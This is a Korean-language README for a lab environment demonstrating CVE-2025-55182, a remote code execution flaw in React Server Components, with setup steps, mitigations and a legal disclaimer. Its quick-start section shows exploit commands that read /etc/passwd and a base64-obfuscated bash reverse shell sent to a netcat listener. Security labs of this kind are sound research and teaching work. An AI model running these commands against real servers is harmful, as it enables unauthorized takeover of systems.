React2Shell - CVE-2025-55182 실습 환경

React Server Components의 심각한 취약점 CVE-2025-55182를 시연하고 테스트하기 위한 종합 실습 환경입니다.

⚠️ 교육 목적으로만 사용하세요

이 저장소는 다음 목적으로 사용됩니다:

보안 연구 및 교육
취약점 메커니즘 이해
자신의 시스템에서 테스트
버그 바운티 사냥 준비

소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 대해 사용하지 마십시오. 무단 접근은 불법입니다.

🔴 취약점 상세 정보

CVE ID: CVE-2025-55182
CVSS 점수: 10.0 (치명적)
유형: 인증되지 않은 원격 코드 실행 (RCE)
영향받는 구성 요소:
- React 19.0.0 - 19.2.0
- Next.js 15.x - 16.x
근본 원인: React Server Components "Flight" 프로토콜의 안전하지 않은 역직렬화

⚡ 가능한 기능

✅ 인증 없이 임의 명령 실행
✅ 시스템 파일 읽기
✅ 파일 생성 및 수정
✅ 리버스 셸 연결 수립
✅ 전체 서버 제어 달성

🚀 빠른 시작

1. 설치

npm install --legacy-peer-deps
npm run dev

서버가 http://localhost:3000에서 시작됩니다.

2. 취약점 확인

bash check-cve.sh

3. 익스플로잇 실행

cd exploit
python3 rce_final.py "whoami"
python3 rce_final.py "id > /tmp/id.txt &"
python3 rce_final.py "cat /etc/passwd > /tmp/passwd.txt &"

4. 리버스 셸

# 터미널 1 - 리스너
nc -lvnp 4444

# 터미널 2 - 익스플로잇
python3 rce_final.py "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash &"

📁 프로젝트 구조

├── app/              # 취약한 Next.js 애플리케이션
├── exploit/          # 동작하는 PoC 익스플로잇
│   └── rce_final.py  # 주요 익스플로잇 스크립트
├── check-cve.sh      # 자동 취약점 점검기
├── package.json      # 취약한 의존성
└── README.md

🔧 기술 세부 사항

취약점은 React Server Components 페이로드의 역직렬화 로직에 존재합니다. 익스플로잇은 프로토타입 오염을 이용하여 process.mainModule.require('child_process').execSync()를 통해 임의 코드를 실행합니다.

공격 흐름

악의적인 multipart 폼 데이터 생성
취약한 React 애플리케이션으로 전송
"Flight" 프로토콜의 안전하지 않은 역직렬화 악용
서버에서 RCE 달성

📊 영향

기밀성: 높음 (모든 파일 읽기 가능)
무결성: 높음 (파일 수정/생성 가능)
가용성: 높음 (서비스 거부 명령 실행 가능)

✅ 완화 조치

React를 19.2.1 이상으로 업데이트
Next.js를 15.0.5+ 또는 16.0.7+로 업데이트
웹 방화벽(WAF) 규칙 배포
서버 로그에서 익스플로잇 시도 모니터링
런타임 보호 메커니즘 사용

📚 참고 자료

⚖️ 법적 고지

이 코드는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 사용자는 시스템을 테스트하기 전에 적절한 권한을 확보할 책임이 있습니다. 컴퓨터 시스템에 대한 무단 접근은 컴퓨터 사기 및 남용법(CFAA) 및 기타 관할권의 유사 법률에 따라 불법입니다.

저자는 이 정보의 오용에 대해 어떠한 책임도 지지 않습니다.

🎓 학습 성과

이 실습을 통해 다음을 이해하게 됩니다:

안전하지 않은 역직렬화 취약점이 어떻게 작동하는지
프로토타입 오염 공격 기법
React Server Components 아키텍처
RCE 익스플로잇 방법
적절한 취약점 공개 관행